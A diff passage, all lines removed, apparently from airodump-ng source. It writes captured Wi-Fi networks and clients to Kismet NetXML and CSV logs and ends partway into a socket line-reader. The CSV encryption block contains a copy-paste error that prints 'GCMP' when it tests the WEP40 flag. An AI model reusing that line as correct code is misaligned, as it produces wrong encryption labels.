-				"\t\t\t\t<max-rate>54.000000</max-rate>\n"
-				"\t\t\t\t<packets>1</packets>\n"
-				"\t\t\t\t<encryption>None</encryption>\n");
-		essid = sanitize_xml((unsigned char *) client->probes[i],
-							 client->ssid_length[i]);
-		if (essid != NULL)
-		{
-			fprintf(G.f_kis_xml, "\t\t\t\t<ssid>%s</ssid>\n", essid);
-			free(essid);
-		}
-
-		fprintf(G.f_kis_xml, "\t\t\t</SSID>\n");
-
-		++nb_probes_written;
-	}
-
-	// Unassociated client with broadcast probes
-	if (is_unassociated && nb_probes_written == 0)
-	{
-		fprintf(G.f_kis_xml,
-				"\t\t\t<SSID first-time=\"%s\" last-time=\"%s\">\n",
-				first_time,
-				last_time);
-		fprintf(G.f_kis_xml,
-				"\t\t\t\t<type>Probe Request</type>\n"
-				"\t\t\t\t<max-rate>54.000000</max-rate>\n"
-				"\t\t\t\t<packets>1</packets>\n"
-				"\t\t\t\t<encryption>None</encryption>\n");
-		fprintf(G.f_kis_xml, "\t\t\t</SSID>\n");
-	}
-
-	/* Channel
-	   FIXME: Take G.freqoption in account */
-	fprintf(G.f_kis_xml, "\t\t\t<channel>%d</channel>\n", client->channel);
-
-	/* Rate: inaccurate because it's the latest rate seen */
-	client_max_rate = (client->rate_from > client->rate_to) ? client->rate_from
-															: client->rate_to;
-	fprintf(G.f_kis_xml,
-			"\t\t\t<maxseenrate>%.6f</maxseenrate>\n",
-			client_max_rate /
-#if defined(__x86_64__) && defined(__CYGWIN__)
-				(0.0f + 1000000));
-#else
-				1000000.0);
-#endif
-
-	/* Those 2 lines always stays the same */
-	fprintf(G.f_kis_xml, "\t\t\t<carrier>IEEE 802.11b+</carrier>\n");
-	fprintf(G.f_kis_xml, "\t\t\t<encoding>CCK</encoding>\n");
-
-	/* Packets */
-	fprintf(G.f_kis_xml,
-			"\t\t\t<packets>\n"
-			"\t\t\t\t<LLC>0</LLC>\n"
-			"\t\t\t\t<data>0</data>\n"
-			"\t\t\t\t<crypt>0</crypt>\n"
-			"\t\t\t\t<total>%lu</total>\n"
-			"\t\t\t\t<fragments>0</fragments>\n"
-			"\t\t\t\t<retries>0</retries>\n"
-			"\t\t\t</packets>\n",
-			client->nb_pkt);
-
-	/* SNR information */
-	average_power = (client->power == -1) ? 0 : client->power;
-	max_power = (client->best_power == -1) ? average_power : client->best_power;
-
-	fprintf(G.f_kis_xml,
-			"\t\t\t<snr-info>\n"
-			"\t\t\t\t<last_signal_dbm>%d</last_signal_dbm>\n"
-			"\t\t\t\t<last_noise_dbm>0</last_noise_dbm>\n"
-			"\t\t\t\t<last_signal_rssi>%d</last_signal_rssi>\n"
-			"\t\t\t\t<last_noise_rssi>0</last_noise_rssi>\n"
-			"\t\t\t\t<min_signal_dbm>%d</min_signal_dbm>\n"
-			"\t\t\t\t<min_noise_dbm>0</min_noise_dbm>\n"
-			"\t\t\t\t<min_signal_rssi>1024</min_signal_rssi>\n"
-			"\t\t\t\t<min_noise_rssi>1024</min_noise_rssi>\n"
-			"\t\t\t\t<max_signal_dbm>%d</max_signal_dbm>\n"
-			"\t\t\t\t<max_noise_dbm>0</max_noise_dbm>\n"
-			"\t\t\t\t<max_signal_rssi>%d</max_signal_rssi>\n"
-			"\t\t\t\t<max_noise_rssi>0</max_noise_rssi>\n"
-			"\t\t\t</snr-info>\n",
-			average_power,
-			average_power,
-			average_power,
-			max_power,
-			max_power);
-
-	/* GPS Coordinates for clients */
-
-	if (G.usegpsd)
-	{
-		fprintf(G.f_kis_xml,
-				"\t\t\t<gps-info>\n"
-				"\t\t\t\t<min-lat>%.6f</min-lat>\n"
-				"\t\t\t\t<min-lon>%.6f</min-lon>\n"
-				"\t\t\t\t<min-alt>%.6f</min-alt>\n"
-				"\t\t\t\t<min-spd>%.6f</min-spd>\n"
-				"\t\t\t\t<max-lat>%.6f</max-lat>\n"
-				"\t\t\t\t<max-lon>%.6f</max-lon>\n"
-				"\t\t\t\t<max-alt>%.6f</max-alt>\n"
-				"\t\t\t\t<max-spd>%.6f</max-spd>\n"
-				"\t\t\t\t<peak-lat>%.6f</peak-lat>\n"
-				"\t\t\t\t<peak-lon>%.6f</peak-lon>\n"
-				"\t\t\t\t<peak-alt>%.6f</peak-alt>\n"
-				"\t\t\t\t<avg-lat>%.6f</avg-lat>\n"
-				"\t\t\t\t<avg-lon>%.6f</avg-lon>\n"
-				"\t\t\t\t<avg-alt>%.6f</avg-alt>\n"
-				"\t\t\t</gps-info>\n",
-				client->gps_loc_min[0],
-				client->gps_loc_min[1],
-				client->gps_loc_min[2],
-				client->gps_loc_min[3],
-				client->gps_loc_max[0],
-				client->gps_loc_max[1],
-				client->gps_loc_max[2],
-				client->gps_loc_max[3],
-				client->gps_loc_best[0],
-				client->gps_loc_best[1],
-				client->gps_loc_best[2],
-				/* Can the "best" be considered as average??? */
-				client->gps_loc_best[0],
-				client->gps_loc_best[1],
-				client->gps_loc_best[2]);
-	}
-	fprintf(G.f_kis_xml, "\t\t</wireless-client>\n");
-
-	return 0;
-}
-
-#define NETXML_ENCRYPTION_TAG "%s<encryption>%s</encryption>\n"
-static int dump_write_kismet_netxml(void)
-{
-	int network_number, average_power, client_max_rate, max_power, client_nbr,
-		fp, fpos, unused;
-	struct AP_info * ap_cur;
-	struct ST_info * st_cur;
-	char first_time[TIME_STR_LENGTH];
-	char last_time[TIME_STR_LENGTH];
-	char * manuf;
-	char * essid = NULL;
-
-	if (!G.record_data || !G.output_format_kismet_netxml) return 0;
-
-	if (fseek(G.f_kis_xml, 0, SEEK_SET) == -1)
-	{
-		return 0;
-	}
-
-	/* Header and airodump-ng start time */
-	fprintf(G.f_kis_xml,
-			"%s%s%s",
-			KISMET_NETXML_HEADER_BEGIN,
-			G.airodump_start_time,
-			KISMET_NETXML_HEADER_END);
-
-	ap_cur = G.ap_1st;
-
-	network_number = 0;
-	while (ap_cur != NULL)
-	{
-		if (memcmp(ap_cur->bssid, BROADCAST, 6) == 0)
-		{
-			ap_cur = ap_cur->next;
-			continue;
-		}
-
-		if (ap_cur->security != 0 && G.f_encrypt != 0
-			&& ((ap_cur->security & G.f_encrypt) == 0))
-		{
-			ap_cur = ap_cur->next;
-			continue;
-		}
-
-		if (is_filtered_essid(ap_cur->essid))
-		{
-			ap_cur = ap_cur->next;
-			continue;
-		}
-
-		++network_number; // Network Number
-		strncpy(first_time, ctime(&ap_cur->tinit), TIME_STR_LENGTH - 1);
-		first_time[strlen(first_time) - 1] = 0; // remove new line
-
-		strncpy(last_time, ctime(&ap_cur->tlast), TIME_STR_LENGTH - 1);
-		last_time[strlen(last_time) - 1] = 0; // remove new line
-
-		fprintf(G.f_kis_xml,
-				"\t<wireless-network number=\"%d\" type=\"infrastructure\" ",
-				network_number);
-		fprintf(G.f_kis_xml,
-				"first-time=\"%s\" last-time=\"%s\">\n",
-				first_time,
-				last_time);
-
-		fprintf(G.f_kis_xml,
-				"\t\t<SSID first-time=\"%s\" last-time=\"%s\">\n",
-				first_time,
-				last_time);
-		fprintf(G.f_kis_xml, "\t\t\t<type>Beacon</type>\n");
-		fprintf(G.f_kis_xml,
-				"\t\t\t<max-rate>%d.000000</max-rate>\n",
-				ap_cur->max_speed);
-		fprintf(G.f_kis_xml, "\t\t\t<packets>%lu</packets>\n", ap_cur->nb_bcn);
-		fprintf(G.f_kis_xml, "\t\t\t<beaconrate>%d</beaconrate>\n", 10);
-
-		// Encryption
-		if (ap_cur->security & STD_OPN)
-			fprintf(G.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "None");
-		else if (ap_cur->security & STD_WEP)
-			fprintf(G.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WEP");
-		else if (ap_cur->security & STD_WPA2 || ap_cur->security & STD_WPA)
-		{
-			if (ap_cur->security & ENC_TKIP)
-				fprintf(
-					G.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WPA+TKIP");
-			if (ap_cur->security & AUTH_MGT)
-				fprintf(G.f_kis_xml,
-						NETXML_ENCRYPTION_TAG,
-						"\t\t\t",
-						"WPA+MGT"); // Not a valid value: NetXML does not have a
-			// value for WPA Enterprise
-			if (ap_cur->security & AUTH_PSK)
-				fprintf(
-					G.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WPA+PSK");
-			if (ap_cur->security & ENC_CCMP)
-				fprintf(G.f_kis_xml,
-						NETXML_ENCRYPTION_TAG,
-						"\t\t\t",
-						"WPA+AES-CCM");
-			if (ap_cur->security & ENC_WRAP)
-				fprintf(G.f_kis_xml,
-						NETXML_ENCRYPTION_TAG,
-						"\t\t\t",
-						"WPA+AES-OCB");
-			if (ap_cur->security & ENC_GCMP)
-				fprintf(
-					G.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WPA+GCMP");
-		}
-		else if (ap_cur->security & ENC_WEP104)
-			fprintf(G.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WEP104");
-		else if (ap_cur->security & ENC_WEP40)
-			fprintf(G.f_kis_xml, NETXML_ENCRYPTION_TAG, "\t\t\t", "WEP40");
-
-		/* ESSID */
-		fprintf(G.f_kis_xml,
-				"\t\t\t<essid cloaked=\"%s\">",
-				(ap_cur->essid[0] == 0) ? "true" : "false");
-		essid = sanitize_xml(ap_cur->essid, ap_cur->ssid_length);
-		if (essid != NULL)
-		{
-			fprintf(G.f_kis_xml, "%s", essid);
-			free(essid);
-		}
-		fprintf(G.f_kis_xml, "</essid>\n");
-
-		/* End of SSID tag */
-		fprintf(G.f_kis_xml, "\t\t</SSID>\n");
-
-		/* BSSID */
-		fprintf(G.f_kis_xml,
-				"\t\t<BSSID>%02X:%02X:%02X:%02X:%02X:%02X</BSSID>\n",
-				ap_cur->bssid[0],
-				ap_cur->bssid[1],
-				ap_cur->bssid[2],
-				ap_cur->bssid[3],
-				ap_cur->bssid[4],
-				ap_cur->bssid[5]);
-
-		/* Manufacturer, if set using standard oui list */
-		manuf = sanitize_xml((unsigned char *) ap_cur->manuf,
-							 strlen(ap_cur->manuf));
-		fprintf(G.f_kis_xml,
-				"\t\t<manuf>%s</manuf>\n",
-				(manuf != NULL) ? manuf : "Unknown");
-		free(manuf);
-
-		/* Channel
-		   FIXME: Take G.freqoption in account */
-		fprintf(G.f_kis_xml,
-				"\t\t<channel>%d</channel>\n",
-				(ap_cur->channel) == -1 ? 0 : ap_cur->channel);
-
-		/* Freq (in Mhz) and total number of packet on that frequency
-		   FIXME: Take G.freqoption in account */
-		fprintf(G.f_kis_xml,
-				"\t\t<freqmhz>%d %lu</freqmhz>\n",
-				(ap_cur->channel) == -1 ? 0 : getFrequencyFromChannel(
-												  ap_cur->channel),
-				// ap_cur->nb_data + ap_cur->nb_bcn );
-				ap_cur->nb_pkt);
-
-		/* XXX: What about 5.5Mbit */
-		fprintf(G.f_kis_xml,
-				"\t\t<maxseenrate>%d</maxseenrate>\n",
-				(ap_cur->max_speed == -1) ? 0 : ap_cur->max_speed * 1000);
-
-		/* Those 2 lines always stays the same */
-		fprintf(G.f_kis_xml, "\t\t<carrier>IEEE 802.11b+</carrier>\n");
-		fprintf(G.f_kis_xml, "\t\t<encoding>CCK</encoding>\n");
-
-		/* Packets */
-		fprintf(G.f_kis_xml,
-				"\t\t<packets>\n"
-				"\t\t\t<LLC>%lu</LLC>\n"
-				"\t\t\t<data>%lu</data>\n"
-				"\t\t\t<crypt>0</crypt>\n"
-				"\t\t\t<total>%lu</total>\n"
-				"\t\t\t<fragments>0</fragments>\n"
-				"\t\t\t<retries>0</retries>\n"
-				"\t\t</packets>\n",
-				ap_cur->nb_data,
-				ap_cur->nb_data,
-				// ap_cur->nb_data + ap_cur->nb_bcn );
-				ap_cur->nb_pkt);
-
-		/* XXX: What does that field mean? Is it the total size of data? */
-		fprintf(G.f_kis_xml, "\t\t<datasize>0</datasize>\n");
-
-		/* Client information */
-		st_cur = G.st_1st;
-		client_nbr = 0;
-
-		while (st_cur != NULL)
-		{
-			/* Check if the station is associated to the current AP */
-			if (memcmp(st_cur->stmac, BROADCAST, 6) != 0 && st_cur->base != NULL
-				&& memcmp(st_cur->base->bssid, ap_cur->bssid, 6) == 0)
-			{
-				dump_write_kismet_netxml_client_info(st_cur, ++client_nbr);
-			}
-
-			/* Next client */
-			st_cur = st_cur->next;
-		}
-
-		/* SNR information */
-		average_power = (ap_cur->avg_power == -1) ? 0 : ap_cur->avg_power;
-		max_power
-			= (ap_cur->best_power == -1) ? average_power : ap_cur->best_power;
-		fprintf(G.f_kis_xml,
-				"\t\t<snr-info>\n"
-				"\t\t\t<last_signal_dbm>%d</last_signal_dbm>\n"
-				"\t\t\t<last_noise_dbm>0</last_noise_dbm>\n"
-				"\t\t\t<last_signal_rssi>%d</last_signal_rssi>\n"
-				"\t\t\t<last_noise_rssi>0</last_noise_rssi>\n"
-				"\t\t\t<min_signal_dbm>%d</min_signal_dbm>\n"
-				"\t\t\t<min_noise_dbm>0</min_noise_dbm>\n"
-				"\t\t\t<min_signal_rssi>1024</min_signal_rssi>\n"
-				"\t\t\t<min_noise_rssi>1024</min_noise_rssi>\n"
-				"\t\t\t<max_signal_dbm>%d</max_signal_dbm>\n"
-				"\t\t\t<max_noise_dbm>0</max_noise_dbm>\n"
-				"\t\t\t<max_signal_rssi>%d</max_signal_rssi>\n"
-				"\t\t\t<max_noise_rssi>0</max_noise_rssi>\n"
-				"\t\t</snr-info>\n",
-				average_power,
-				average_power,
-				average_power,
-				max_power,
-				max_power);
-
-		/* GPS Coordinates */
-		if (G.usegpsd)
-		{
-			fprintf(G.f_kis_xml,
-					"\t\t<gps-info>\n"
-					"\t\t\t<min-lat>%.6f</min-lat>\n"
-					"\t\t\t<min-lon>%.6f</min-lon>\n"
-					"\t\t\t<min-alt>%.6f</min-alt>\n"
-					"\t\t\t<min-spd>%.6f</min-spd>\n"
-					"\t\t\t<max-lat>%.6f</max-lat>\n"
-					"\t\t\t<max-lon>%.6f</max-lon>\n"
-					"\t\t\t<max-alt>%.6f</max-alt>\n"
-					"\t\t\t<max-spd>%.6f</max-spd>\n"
-					"\t\t\t<peak-lat>%.6f</peak-lat>\n"
-					"\t\t\t<peak-lon>%.6f</peak-lon>\n"
-					"\t\t\t<peak-alt>%.6f</peak-alt>\n"
-					"\t\t\t<avg-lat>%.6f</avg-lat>\n"
-					"\t\t\t<avg-lon>%.6f</avg-lon>\n"
-					"\t\t\t<avg-alt>%.6f</avg-alt>\n"
-					"\t\t</gps-info>\n",
-					ap_cur->gps_loc_min[0],
-					ap_cur->gps_loc_min[1],
-					ap_cur->gps_loc_min[2],
-					ap_cur->gps_loc_min[3],
-					ap_cur->gps_loc_max[0],
-					ap_cur->gps_loc_max[1],
-					ap_cur->gps_loc_max[2],
-					ap_cur->gps_loc_max[3],
-					ap_cur->gps_loc_best[0],
-					ap_cur->gps_loc_best[1],
-					ap_cur->gps_loc_best[2],
-					/* Can the "best" be considered as average??? */
-					ap_cur->gps_loc_best[0],
-					ap_cur->gps_loc_best[1],
-					ap_cur->gps_loc_best[2]);
-		}
-
-		/* BSS Timestamp */
-		fprintf(G.f_kis_xml,
-				"\t\t<bsstimestamp>%llu</bsstimestamp>\n",
-				ap_cur->timestamp);
-
-		/* Trailing information */
-		fprintf(G.f_kis_xml,
-				"\t\t<cdp-device></cdp-device>\n"
-				"\t\t<cdp-portid></cdp-portid>\n");
-
-		/* Closing tag for the current wireless network */
-		fprintf(G.f_kis_xml, "\t</wireless-network>\n");
-		//-------- End of XML
-
-		ap_cur = ap_cur->next;
-	}
-
-	/* Write all unassociated stations */
-	st_cur = G.st_1st;
-	while (st_cur != NULL)
-	{
-		/* If not associated and not Broadcast Mac */
-		if (st_cur->base == NULL
-			|| memcmp(st_cur->base->bssid, BROADCAST, 6) == 0)
-		{
-			++network_number; // Network Number
-
-			/* Write new network information */
-			strncpy(first_time, ctime(&st_cur->tinit), TIME_STR_LENGTH - 1);
-			first_time[strlen(first_time) - 1] = 0; // remove new line
-
-			strncpy(last_time, ctime(&st_cur->tlast), TIME_STR_LENGTH - 1);
-			last_time[strlen(last_time) - 1] = 0; // remove new line
-
-			fprintf(G.f_kis_xml,
-					"\t<wireless-network number=\"%d\" type=\"probe\" ",
-					network_number);
-			fprintf(G.f_kis_xml,
-					"first-time=\"%s\" last-time=\"%s\">\n",
-					first_time,
-					last_time);
-
-			/* BSSID */
-			fprintf(G.f_kis_xml,
-					"\t\t<BSSID>%02X:%02X:%02X:%02X:%02X:%02X</BSSID>\n",
-					st_cur->stmac[0],
-					st_cur->stmac[1],
-					st_cur->stmac[2],
-					st_cur->stmac[3],
-					st_cur->stmac[4],
-					st_cur->stmac[5]);
-
-			/* Manufacturer, if set using standard oui list */
-			manuf = sanitize_xml((unsigned char *) st_cur->manuf,
-								 strlen(st_cur->manuf));
-			fprintf(G.f_kis_xml,
-					"\t\t<manuf>%s</manuf>\n",
-					(manuf != NULL) ? manuf : "Unknown");
-			free(manuf);
-
-			/* Channel
-			   FIXME: Take G.freqoption in account */
-			fprintf(
-				G.f_kis_xml, "\t\t<channel>%d</channel>\n", st_cur->channel);
-
-			/* Freq (in Mhz) and total number of packet on that frequency
-			   FIXME: Take G.freqoption in account */
-			fprintf(G.f_kis_xml,
-					"\t\t<freqmhz>%d %lu</freqmhz>\n",
-					getFrequencyFromChannel(st_cur->channel),
-					st_cur->nb_pkt);
-
-			/* Rate: inaccurate because it's the latest rate seen */
-			client_max_rate = (st_cur->rate_from > st_cur->rate_to)
-								  ? st_cur->rate_from
-								  : st_cur->rate_to;
-			fprintf(G.f_kis_xml,
-					"\t\t<maxseenrate>%.6f</maxseenrate>\n",
-					client_max_rate /
-#if defined(__x86_64__) && defined(__CYGWIN__)
-						(0.0f + 1000000));
-#else
-						1000000.0);
-#endif
-
-			fprintf(G.f_kis_xml, "\t\t<carrier>IEEE 802.11b+</carrier>\n");
-			fprintf(G.f_kis_xml, "\t\t<encoding>CCK</encoding>\n");
-
-			/* Packets */
-			fprintf(G.f_kis_xml,
-					"\t\t<packets>\n"
-					"\t\t\t<LLC>0</LLC>\n"
-					"\t\t\t<data>0</data>\n"
-					"\t\t\t<crypt>0</crypt>\n"
-					"\t\t\t<total>%lu</total>\n"
-					"\t\t\t<fragments>0</fragments>\n"
-					"\t\t\t<retries>0</retries>\n"
-					"\t\t</packets>\n",
-					st_cur->nb_pkt);
-
-			/* XXX: What does that field mean? Is it the total size of data? */
-			fprintf(G.f_kis_xml, "\t\t<datasize>0</datasize>\n");
-
-			/* SNR information */
-			average_power = (st_cur->power == -1) ? 0 : st_cur->power;
-			max_power = (st_cur->best_power == -1) ? average_power
-												   : st_cur->best_power;
-
-			fprintf(G.f_kis_xml,
-					"\t\t<snr-info>\n"
-					"\t\t\t<last_signal_dbm>%d</last_signal_dbm>\n"
-					"\t\t\t<last_noise_dbm>0</last_noise_dbm>\n"
-					"\t\t\t<last_signal_rssi>%d</last_signal_rssi>\n"
-					"\t\t\t<last_noise_rssi>0</last_noise_rssi>\n"
-					"\t\t\t<min_signal_dbm>%d</min_signal_dbm>\n"
-					"\t\t\t<min_noise_dbm>0</min_noise_dbm>\n"
-					"\t\t\t<min_signal_rssi>1024</min_signal_rssi>\n"
-					"\t\t\t<min_noise_rssi>1024</min_noise_rssi>\n"
-					"\t\t\t<max_signal_dbm>%d</max_signal_dbm>\n"
-					"\t\t\t<max_noise_dbm>0</max_noise_dbm>\n"
-					"\t\t\t<max_signal_rssi>%d</max_signal_rssi>\n"
-					"\t\t\t<max_noise_rssi>0</max_noise_rssi>\n"
-					"\t\t</snr-info>\n",
-					average_power,
-					average_power,
-					average_power,
-					max_power,
-					max_power);
-
-			/* GPS Coordinates for clients */
-
-			if (G.usegpsd)
-			{
-				fprintf(G.f_kis_xml,
-						"\t\t<gps-info>\n"
-						"\t\t\t<min-lat>%.6f</min-lat>\n"
-						"\t\t\t<min-lon>%.6f</min-lon>\n"
-						"\t\t\t<min-alt>%.6f</min-alt>\n"
-						"\t\t\t<min-spd>%.6f</min-spd>\n"
-						"\t\t\t<max-lat>%.6f</max-lat>\n"
-						"\t\t\t<max-lon>%.6f</max-lon>\n"
-						"\t\t\t<max-alt>%.6f</max-alt>\n"
-						"\t\t\t<max-spd>%.6f</max-spd>\n"
-						"\t\t\t<peak-lat>%.6f</peak-lat>\n"
-						"\t\t\t<peak-lon>%.6f</peak-lon>\n"
-						"\t\t\t<peak-alt>%.6f</peak-alt>\n"
-						"\t\t\t<avg-lat>%.6f</avg-lat>\n"
-						"\t\t\t<avg-lon>%.6f</avg-lon>\n"
-						"\t\t\t<avg-alt>%.6f</avg-alt>\n"
-						"\t\t</gps-info>\n",
-						st_cur->gps_loc_min[0],
-						st_cur->gps_loc_min[1],
-						st_cur->gps_loc_min[2],
-						st_cur->gps_loc_min[3],
-						st_cur->gps_loc_max[0],
-						st_cur->gps_loc_max[1],
-						st_cur->gps_loc_max[2],
-						st_cur->gps_loc_max[3],
-						st_cur->gps_loc_best[0],
-						st_cur->gps_loc_best[1],
-						st_cur->gps_loc_best[2],
-						/* Can the "best" be considered as average??? */
-						st_cur->gps_loc_best[0],
-						st_cur->gps_loc_best[1],
-						st_cur->gps_loc_best[2]);
-			}
-
-			fprintf(G.f_kis_xml, "\t\t<bsstimestamp>0</bsstimestamp>\n");
-
-			/* CDP information */
-			fprintf(G.f_kis_xml,
-					"\t\t<cdp-device></cdp-device>\n"
-					"\t\t<cdp-portid></cdp-portid>\n");
-
-			/* Write client information */
-			dump_write_kismet_netxml_client_info(st_cur, 1);
-
-			fprintf(G.f_kis_xml, "\t</wireless-network>");
-		}
-		st_cur = st_cur->next;
-	}
-	/* TODO: Also go through na_1st */
-
-	/* Trailing */
-	fprintf(G.f_kis_xml, "%s\n", KISMET_NETXML_TRAILER);
-
-	fflush(G.f_kis_xml);
-
-	/* Sometimes there can be crap at the end of the file, so truncating is a
-	   good idea.
-	   XXX: Is this really correct, I hope fileno() won't have any side effect
-	   */
-	fp = fileno(G.f_kis_xml);
-	fpos = ftell(G.f_kis_xml);
-	if (fp == -1 || fpos == -1)
-	{
-		return 0;
-	}
-	unused = ftruncate(fp, fpos);
-
-	return 0;
-}
-#undef TIME_STR_LENGTH
-
-#define KISMET_HEADER                                                          \
-	"Network;NetType;ESSID;BSSID;Info;Channel;Cloaked;Encryption;Decrypted;"   \
-	"MaxRate;MaxSeenRate;Beacon;LLC;Data;Crypt;Weak;Total;Carrier;Encoding;"   \
-	"FirstTime;LastTime;BestQuality;BestSignal;BestNoise;GPSMinLat;GPSMinLon;" \
-	"GPSMinAlt;GPSMinSpd;GPSMaxLat;GPSMaxLon;GPSMaxAlt;GPSMaxSpd;GPSBestLat;"  \
-	"GPSBestLon;GPSBestAlt;DataSize;IPType;IP;\n"
-
-static int dump_write_kismet_csv(void)
-{
-	int i, k;
-	//     struct tm *ltime;
-	/*    char ssid_list[512];*/
-	struct AP_info * ap_cur;
-
-	if (!G.record_data || !G.output_format_kismet_csv) return 0;
-
-	if (fseek(G.f_kis, 0, SEEK_SET) == -1)
-	{
-		return 0;
-	}
-
-	fprintf(G.f_kis, KISMET_HEADER);
-
-	ap_cur = G.ap_1st;
-
-	k = 1;
-	while (ap_cur != NULL)
-	{
-		if (memcmp(ap_cur->bssid, BROADCAST, 6) == 0)
-		{
-			ap_cur = ap_cur->next;
-			continue;
-		}
-
-		if (ap_cur->security != 0 && G.f_encrypt != 0
-			&& ((ap_cur->security & G.f_encrypt) == 0))
-		{
-			ap_cur = ap_cur->next;
-			continue;
-		}
-
-		if (is_filtered_essid(ap_cur->essid) || ap_cur->nb_pkt < 2)
-		{
-			ap_cur = ap_cur->next;
-			continue;
-		}
-
-		// Network
-		fprintf(G.f_kis, "%d;", k);
-
-		// NetType
-		fprintf(G.f_kis, "infrastructure;");
-
-		// ESSID
-		for (i = 0; i < ap_cur->ssid_length; i++)
-		{
-			fprintf(G.f_kis, "%c", ap_cur->essid[i]);
-		}
-		fprintf(G.f_kis, ";");
-
-		// BSSID
-		fprintf(G.f_kis,
-				"%02X:%02X:%02X:%02X:%02X:%02X;",
-				ap_cur->bssid[0],
-				ap_cur->bssid[1],
-				ap_cur->bssid[2],
-				ap_cur->bssid[3],
-				ap_cur->bssid[4],
-				ap_cur->bssid[5]);
-
-		// Info
-		fprintf(G.f_kis, ";");
-
-		// Channel
-		fprintf(G.f_kis, "%d;", ap_cur->channel);
-
-		// Cloaked
-		fprintf(G.f_kis, "No;");
-
-		// Encryption
-		if ((ap_cur->security & (STD_OPN | STD_WEP | STD_WPA | STD_WPA2)) != 0)
-		{
-			if (ap_cur->security & STD_WPA2) fprintf(G.f_kis, "WPA2,");
-			if (ap_cur->security & STD_WPA) fprintf(G.f_kis, "WPA,");
-			if (ap_cur->security & STD_WEP) fprintf(G.f_kis, "WEP,");
-			if (ap_cur->security & STD_OPN) fprintf(G.f_kis, "OPN,");
-		}
-
-		if ((ap_cur->security
-			 & (ENC_WEP | ENC_TKIP | ENC_WRAP | ENC_CCMP | ENC_WEP104
-				| ENC_WEP40
-				| ENC_GCMP))
-			== 0)
-			fprintf(G.f_kis, "None,");
-		else
-		{
-			if (ap_cur->security & ENC_CCMP) fprintf(G.f_kis, "AES-CCM,");
-			if (ap_cur->security & ENC_WRAP) fprintf(G.f_kis, "WRAP,");
-			if (ap_cur->security & ENC_TKIP) fprintf(G.f_kis, "TKIP,");
-			if (ap_cur->security & ENC_WEP104) fprintf(G.f_kis, "WEP104,");
-			if (ap_cur->security & ENC_WEP40) fprintf(G.f_kis, "WEP40,");
-			/*            if( ap_cur->security & ENC_WEP    ) fprintf( G.f_kis,
-			 * " WEP,");*/
-			if (ap_cur->security & ENC_WEP40) fprintf(G.f_kis, "GCMP,");
-		}
-
-		fseek(G.f_kis, -1, SEEK_CUR);
-		fprintf(G.f_kis, ";");
-
-		// Decrypted
-		fprintf(G.f_kis, "No;");
-
-		// MaxRate
-		fprintf(G.f_kis, "%d.0;", ap_cur->max_speed);
-
-		// MaxSeenRate
-		fprintf(G.f_kis, "0;");
-
-		// Beacon
-		fprintf(G.f_kis, "%lu;", ap_cur->nb_bcn);
-
-		// LLC
-		fprintf(G.f_kis, "0;");
-
-		// Data
-		fprintf(G.f_kis, "%lu;", ap_cur->nb_data);
-
-		// Crypt
-		fprintf(G.f_kis, "0;");
-
-		// Weak
-		fprintf(G.f_kis, "0;");
-
-		// Total
-		fprintf(G.f_kis, "%lu;", ap_cur->nb_data);
-
-		// Carrier
-		fprintf(G.f_kis, ";");
-
-		// Encoding
-		fprintf(G.f_kis, ";");
-
-		// FirstTime
-		fprintf(G.f_kis, "%s", ctime(&ap_cur->tinit));
-		fseek(G.f_kis, -1, SEEK_CUR);
-		fprintf(G.f_kis, ";");
-
-		// LastTime
-		fprintf(G.f_kis, "%s", ctime(&ap_cur->tlast));
-		fseek(G.f_kis, -1, SEEK_CUR);
-		fprintf(G.f_kis, ";");
-
-		// BestQuality
-		fprintf(G.f_kis, "%d;", ap_cur->avg_power);
-
-		// BestSignal
-		fprintf(G.f_kis, "0;");
-
-		// BestNoise
-		fprintf(G.f_kis, "0;");
-
-		// GPSMinLat
-		fprintf(G.f_kis, "%.6f;", ap_cur->gps_loc_min[0]);
-
-		// GPSMinLon
-		fprintf(G.f_kis, "%.6f;", ap_cur->gps_loc_min[1]);
-
-		// GPSMinAlt
-		fprintf(G.f_kis, "%.6f;", ap_cur->gps_loc_min[2]);
-
-		// GPSMinSpd
-		fprintf(G.f_kis, "%.6f;", ap_cur->gps_loc_min[3]);
-
-		// GPSMaxLat
-		fprintf(G.f_kis, "%.6f;", ap_cur->gps_loc_max[0]);
-
-		// GPSMaxLon
-		fprintf(G.f_kis, "%.6f;", ap_cur->gps_loc_max[1]);
-
-		// GPSMaxAlt
-		fprintf(G.f_kis, "%.6f;", ap_cur->gps_loc_max[2]);
-
-		// GPSMaxSpd
-		fprintf(G.f_kis, "%.6f;", ap_cur->gps_loc_max[3]);
-
-		// GPSBestLat
-		fprintf(G.f_kis, "%.6f;", ap_cur->gps_loc_best[0]);
-
-		// GPSBestLon
-		fprintf(G.f_kis, "%.6f;", ap_cur->gps_loc_best[1]);
-
-		// GPSBestAlt
-		fprintf(G.f_kis, "%.6f;", ap_cur->gps_loc_best[2]);
-
-		// DataSize
-		fprintf(G.f_kis, "0;");
-
-		// IPType
-		fprintf(G.f_kis, "0;");
-
-		// IP
-		fprintf(G.f_kis,
-				"%d.%d.%d.%d;",
-				ap_cur->lanip[0],
-				ap_cur->lanip[1],
-				ap_cur->lanip[2],
-				ap_cur->lanip[3]);
-
-		fprintf(G.f_kis, "\r\n");
-
-		ap_cur = ap_cur->next;
-		k++;
-	}
-
-	fflush(G.f_kis);
-	return 0;
-}
-
-/* See if a string contains a character in the first "n" bytes.
- *
- * Returns a pointer to the first occurrence of the character, or NULL
- * if the character is not present in the string.
- *
- * Breaks the str* naming convention to avoid a name collision if we're
- * compiling on a system that has strnchr()
- */
-static char * strchr_n(char * str, int c, size_t n)
-{
-	size_t count = 0;
-	if (str == NULL || n == 0)
-	{
-		return NULL;
-	}
-	while (*str != c && *str != '\0' && count < n)
-	{
-		str++;
-		count++;
-	}
-
-	return (*str == c) ? str : NULL;
-}
-
-/* Read at least one full line from the network.
- *
- * Returns the amount of data in the buffer on success, 0 on connection
- * closed, or a negative value on error.
- *
- * If the return value is >0, the buffer contains at least one newline
- * character.  If the return value is <= 0, the contents of the buffer
- * are undefined.
- */
-static int read_line(int sock, char * buffer, int pos, int size)
-{
-	int status = 1;
-	if (pos < 0 || size < 1 || pos >= size || buffer == NULL || sock < 0)
-	{
-		return -1;
-	}
